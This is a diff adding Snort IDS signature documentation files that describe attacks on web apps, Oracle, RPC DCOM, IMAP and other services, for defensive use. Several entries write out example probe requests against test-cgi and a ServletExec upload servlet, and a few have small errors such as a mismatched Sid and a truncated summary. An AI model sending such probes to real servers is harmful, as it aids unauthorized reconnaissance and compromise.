+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1341.txt
+++ snort-2.8.5.2/doc/signatures/1341.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+1341
+
+--
+Summary:
+Attempted gcc command access via web
+
+--
+Impact:
+Attempt to compile a binary on a host.
+
+--
+Detailed Information:
+This is an attempt to compiile a C or C++ source on a host. The gcc command is the GNU project's C and C++ compiler used to compile C and C++ source files into executable binary files. The attacker could possibly compile a program needed for other attacks on the system or install a binary program of his choosing.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains '/usr/bin/gcc'in the URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. This command may also be requested on a command line should the attacker gain access to the machine. Whenever possible, sensitive files and certain areas of the filesystem should have the system immutable flag set to prevent files from being added to the host. On BSD derived systems, setting the systems runtime securelevel also prevents the securelevel from being changed. (note: the securelevel can only be increased).
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1342
+sid: 1343
+sid: 1344
+sid: 1345
+sid: 1346
+sid: 1347
+sid: 1348
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000510.txt
+++ snort-2.8.5.2/doc/signatures/100000510.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000510
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "VBZoom" application running on a webserver. Access to the 
+file "rank.php" with SQL commands being passed as the "MemberID" parameter may 
+indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "MemberID" parameter in the "rank.php" script used by 
+the "VBZoom" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VBZoom
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000641.txt
+++ snort-2.8.5.2/doc/signatures/100000641.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000641
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "template_modify.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"template_modify.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/302.txt
+++ snort-2.8.5.2/doc/signatures/302.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid: 301
+
+--
+Summary:
+This event is generated when an attempt is made to escalate privileges remotely using a vulnerability in LPRng on RedHat systems.
+
+--
+Impact:
+System compromize presenting the attacker with escalated system privileges .
+
+--
+Detailed Information:
+LPRng is an implementation of the Berkeley lpr print spooling protocol. Some versions are vulnerable to a format-string attack that takes advantage of a bug in the syslog() wrapper. Successfull exploitation may present a remote attacker with the ability to execute arbitrary code using the privileges of the LPD daemon owner (typically root).
+
+Arbitrary addresses in the lpd process address space can be overwritten by sending specially crafted packets to the LPRng daemon listening on port 515 to execute arbitrary code or generate a segmentation violation.
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Disallow access to LPRng port 515 from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/1712
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0917
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1470.txt
+++ snort-2.8.5.2/doc/signatures/1470.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1470
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3437.txt
+++ snort-2.8.5.2/doc/signatures/3437.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3437
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/835.txt
+++ snort-2.8.5.2/doc/signatures/835.txt
@@ -0,0 +1,66 @@
+Rule:
+--
+Sid:
+835
+
+--
+Summary:
+This event is generated when an attempt is made to 
+access to the cgi script test-cgi.
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+The test-cgi script is provided as part of the Apache web server to
+test that cgi scripts are working.  It can provide vital information
+about the configuration of your webserver that may be invaluable to a
+potential attacker.
+
+--
+Affected Systems:
+	All versions of Apache.
+ 
+--
+Attack Scenarios:
+A standard web request using a browser.
+
+lynx http://victim/cgi-bin/test-cgi
+
+$ telnet victim 80
+Trying 192.168.0.2...
+Connected to victim.
+Escape character is '^]'.
+GET /cgi-bin/test-cgi HTTP/1.0
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+This may trigger on urls containing test-cgi, but are not necessarily
+indicative of an attack.  For example,
+http://myhost.org/home/foobar/test-cgi.txt would trigger this rule.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Determine the need for this script, and remove it if there is no need.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Jon Hart <warchild@spoofed.org>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/618.txt
+++ snort-2.8.5.2/doc/signatures/618.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+618
+
+--
+Summary:
+This event is generated when a scan is detected. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to scan a host.
+
+This may be the prelude to an attack. Scanners are used to ascertain which ports a host may be listening on, whether or not the ports are filtered by a firewall and if the host is vulnerable to a particular exploit.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+An attacker can determine if ports 21 and 20 are being used for FTP. Then the attacker might find out that the FTP service is vulnerable to a particular attack and is then able to compromise the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A scanner may be used in a security audit.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Determine whether or not the scan was legitimate then look for other events concerning the attacking IP address.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000376.txt
+++ snort-2.8.5.2/doc/signatures/100000376.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000376
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_db_utilities.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_db_utilities.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000170.txt
+++ snort-2.8.5.2/doc/signatures/100000170.txt
@@ -0,0 +1,61 @@
+Rule: 
+
+--
+Sid: 
+100000170
+
+-- 
+Summary: 
+This event is generated when an overly long Host: parameter is sent in an HTTP 
+request, which will cause a buffer overflow to occur in the GFI MailSecurity 
+for Exchange/SMTP web interface.
+
+--
+Impact:
+A denial of service will occur in the vulnerable application, and remote code 
+may be executed with the priviliges of the user running the application.
+
+--
+Detailed Information:
+GFI MailSecurity for Exchange/SMTP is an anti-virus program that integrates 
+with Microsoft Exchange servers. Its web interface is vulnerable to a buffer 
+overflow attack, which may be triggered by sending a Host: parameter of 100 or 
+more bytes in an HTTP request. Vulnerable versions of the application will 
+crash, and code may be executed with the priviliges of the user running the 
+program.
+
+--
+Affected Systems:
+GFI MailSecurity for Exchange/SMTP 8.1
+
+--
+Attack Scenarios:
+Attackers will likley exploit this with a script.
+
+--
+Ease of Attack:
+Simple, as no authentication is required, and HTTP is a well-documented 
+protocol, which allows for easy creation of malicious packets.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Download and apply the patch referenced below.
+
+--
+Contributors:
+rmkml
+Sourcefire Research Team
+
+--
+Additional References
+ftp://ftp.gfi.com/patches/MSEC8_PATCH_20050919_01.zip
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2798.txt
+++ snort-2.8.5.2/doc/signatures/2798.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2798
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure register_statistics
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/898.txt
+++ snort-2.8.5.2/doc/signatures/898.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+898
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1310.txt
+++ snort-2.8.5.2/doc/signatures/1310.txt
@@ -0,0 +1,58 @@
+Rule:  
+--
+Sid:
+
+1310
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "FREE XXX".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "FREE XXX".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1902.txt
+++ snort-2.8.5.2/doc/signatures/1902.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+1902
+
+--
+Summary:
+This event is generated when a remote attacker sends an IMAP LSUB
+command with a malformed and overly long argument to an internal IMAP
+server port. This may indicate an attempt to exploit a buffer overflow
+vulnerability in the IMAP LSUB command.
+
+--
+Impact:
+Possible shell access on the IMAP server, leading to arbitrary code
+execution. The attacker must have a valid IMAP account on the mail
+server to attempt this exploit.
+
+--
+Detailed Information:
+When an LSUB command with an overly long argument is sent to a
+vulnerable IMAP server, a buffer overflow condition may occur. This can
+allow an attacker to execute arbitrary code from the command shell. Note
+that this exploit can only be attempted by a user with a valid IMAP account.
+
+--
+Affected Systems:
+	University of Washington imapd versions 10.234 or 12.264.
+
+--
+Attack Scenarios:
+An attacker with an IMAP account on the server can send a sufficiently
+long LSUB command to the IMAP server, creating a buffer overflow
+condition. This can then allow the attacker to gain shell access on the
+compromised server, possibly leading to the execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple. Exploits exist, but the user must have a valid IMAP account on
+the server.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the patch for your current version of imapd appropriate to your
+operating system.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000784.txt
+++ snort-2.8.5.2/doc/signatures/100000784.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000784
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "ATutor" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "current_cat" parameter in the "create_course.php" script used by the "ATutor" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using ATutor
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1080.txt
+++ snort-2.8.5.2/doc/signatures/1080.txt
@@ -0,0 +1,67 @@
+Rule:  
+--
+Sid:
+1080
+
+--
+
+Summary:
+This event is generated when an attempt is made to access the Unify eWave 
+ServletExec uploader servlet, which may lead to a web server compromise.
+
+--
+Impact:
+Serious. Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+Unify eWave ServletExec is a webserver-based JSP and Java Servlet
+environment available for many popular web servers (e.g., Apache, Netscape
+web server, and IIS).  Versions of ServletExec before 3.0E contain a
+vulnerability in UploadServlet that could allow an attacker to upload
+arbitrary files, including executables used to compromise the web server.
+
+--
+Affected Systems:
+Unify eWave ServletExec versions before 3.0E. 
+
+--
+Attack Scenarios:
+Attacker sends a simple HTTP GET or POST like the following:
+GET http://target/servlet/com.unify.ewave.servletexec.UploadServlet HTTP/1.0
+
+The attacker could upload any arbitrary file onto the web server, including
+executable code that can then be used to compromise the web server.
+
+--
+Ease of Attack:
+Relatively simple handcrafted HTTP GET or POST.
+
+--
+False Positives:
+It is possible that legitimate web administrators could use UploadServlet.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Examine the packet to see if a web request was being done.  Try to
+determine if the request was by a legitimate web admin or not.
+Determine from the web server's configuration whether it was a threat or not
+(e.g., whether the web server even runs ServletExec, and if so whether
+it was running a vulnerable version).
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2712.txt
+++ snort-2.8.5.2/doc/signatures/2712.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2712
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure end_instantiation
+. This procedure is included in
+dbms_offline_og.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2064.txt
+++ snort-2.8.5.2/doc/signatures/2064.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2064
+
+--
+Summary:
+file on a Lotus Domino Server.
+
+--
+Impact:
+Information disclosure
+
+--
+Detailed Information:
+Certain versions of Lotus Domino web servers do not correctly handle 
+requests for script files not specific to Lotus Domino.
+
+By using a dot in the filename an attacker may view the source of the 
+script and be presented with sensitive information embedded in the 
+script.
+
+--
+Affected Systems:
+Lotus Domino Server 5.0 and 6.0
+
+--
+Attack Scenarios:
+The attacker merely needs to make an HTTP request for the script and add
+a dot to the filename. This can be done using a browser.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor fixes
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/6841
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3208.txt
+++ snort-2.8.5.2/doc/signatures/3208.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3208
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/572.txt
+++ snort-2.8.5.2/doc/signatures/572.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+572
+
+--
+Summary:
+This event is generated when an attempt is made to disable the rpc.ttdbservd service.
+
+--
+Impact:
+Denial of service.  A successful attack may kill the ToolTalk database server.
+
+--
+Detailed Information:
+The ttdbserverd RPC service, more commonly known as the ToolTalk database server, allows applications to communicate in the Common Desktop Environment (CDE).  The ToolTalk service receives ToolTalk messages created and sent by applications and delivers them to the appropriate recipient applications.  The ToolTalk database server is enabled by default on hosts with CDE.  Due to an implementation fault in rpc.ttdbserverd, it is possible for a malicious remote client to formulate an RPC message that will cause the server to crash.   
+
+--
+Affected Systems:
+HP HP-UX 10.10, 10.20, 10.30, 11.0
+IBM AIX 4.1, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 4.1.5, 4.2, 4.2.1, 4.3
+SGI IRIX 5.2, 5.3, 6.0, 6.0.1, 6.2, 6.3, 6.4
+Sun Solaris 1.1, 1.1.1, 1.1.2, 1.1.3, 1.1.4, 1.2, 2.0, 2.1, 2.2, 2.3, 2.4, 2.5, 2.5.1, 2.6
+
+--
+Attack Scenarios:
+An attacker can attempt a denial of service attack by causing a vulnerable ToolTalk database server to crash.   
+
+--
+Ease of Attack:
+Easy.  Exploit scripts are freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0003
+
